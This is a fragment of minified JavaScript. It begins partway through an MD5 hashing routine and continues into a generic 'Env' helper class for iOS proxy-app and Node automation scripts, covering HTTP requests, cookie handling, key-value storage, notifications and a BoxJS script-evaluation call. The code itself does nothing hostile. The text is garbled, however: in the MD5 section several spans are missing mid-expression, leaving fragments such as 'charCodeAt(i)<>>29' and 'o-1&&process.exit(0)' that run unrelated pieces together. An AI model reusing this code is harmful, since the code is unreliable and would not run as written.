e(a,b,c){return a&c|b&~c}function f(a,b,c){return a^b^c}function g(a,b,c){return b^(a|~c)}function h(a,e,f,g,h,i,j){return a=c(a,c(c(d(e,f,g),h),j)),c(b(a,i),e)}function i(a,d,f,g,h,i,j){return a=c(a,c(c(e(d,f,g),h),j)),c(b(a,i),d)}function j(a,d,e,g,h,i,j){return a=c(a,c(c(f(d,e,g),h),j)),c(b(a,i),d)}function k(a,d,e,f,h,i,j){return a=c(a,c(c(g(d,e,f),h),j)),c(b(a,i),d)}function l(a){for(var b,c=a.length,d=c+8,e=(d-d%64)/64,f=16*(e+1),g=new Array(f-1),h=0,i=0;c>i;)b=(i-i%4)/4,h=i%4*8,g[b]=g[b]|a.charCodeAt(i)<>>29,g}function m(a){var b,c,d="",e="";for(c=0;3>=c;c++)b=a>>>8*c&255,e="0"+b.toString(16),d+=e.substr(e.length-2,2);return d}function n(a){a=a.replace(/\r\n/g,"\n");for(var b="",c=0;cd?b+=String.fromCharCode(d):d>127&&2048>d?(b+=String.fromCharCode(d>>6|192),b+=String.fromCharCode(63&d|128)):(b+=String.fromCharCode(d>>12|224),b+=String.fromCharCode(d>>6&63|128),b+=String.fromCharCode(63&d|128))}return b}var o,p,q,r,s,t,u,v,w,x=[],y=7,z=12,A=17,B=22,C=5,D=9,E=14,F=20,G=4,H=11,I=16,J=23,K=6,L=10,M=15,N=21;for(a=n(a),x=l(a),t=1732584193,u=4023233417,v=2562383102,w=271733878,o=0;o-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),"PUT"===e&&(s=this.put),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}put(t){return this.send.call(this.env,t,"PUT")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`\ud83d\udd14${this.name}, \u5f00\u59cb!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),a={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(a,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}put(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.put(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="PUT",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.put(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t){let e={"M+":(new Date).getMonth()+1,"d+":(new Date).getDate(),"H+":(new Date).getHours(),"m+":(new Date).getMinutes(),"s+":(new Date).getSeconds(),"q+":Math.floor(((new Date).getMonth()+3)/3),S:(new Date).getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,((new Date).getFullYear()+"").substr(4-RegExp.$1.length)));for(let s in e)new RegExp("("+s+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?e[s]:("00"+e[s]).substr((""+e[s]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r)));let h=["","==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="];h.push(e),s&&h.push(s),i&&h.push(i),console.log(h.join("\n")),this.logs=this.logs.concat(h)}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t.stack):this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${s} \u79d2`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file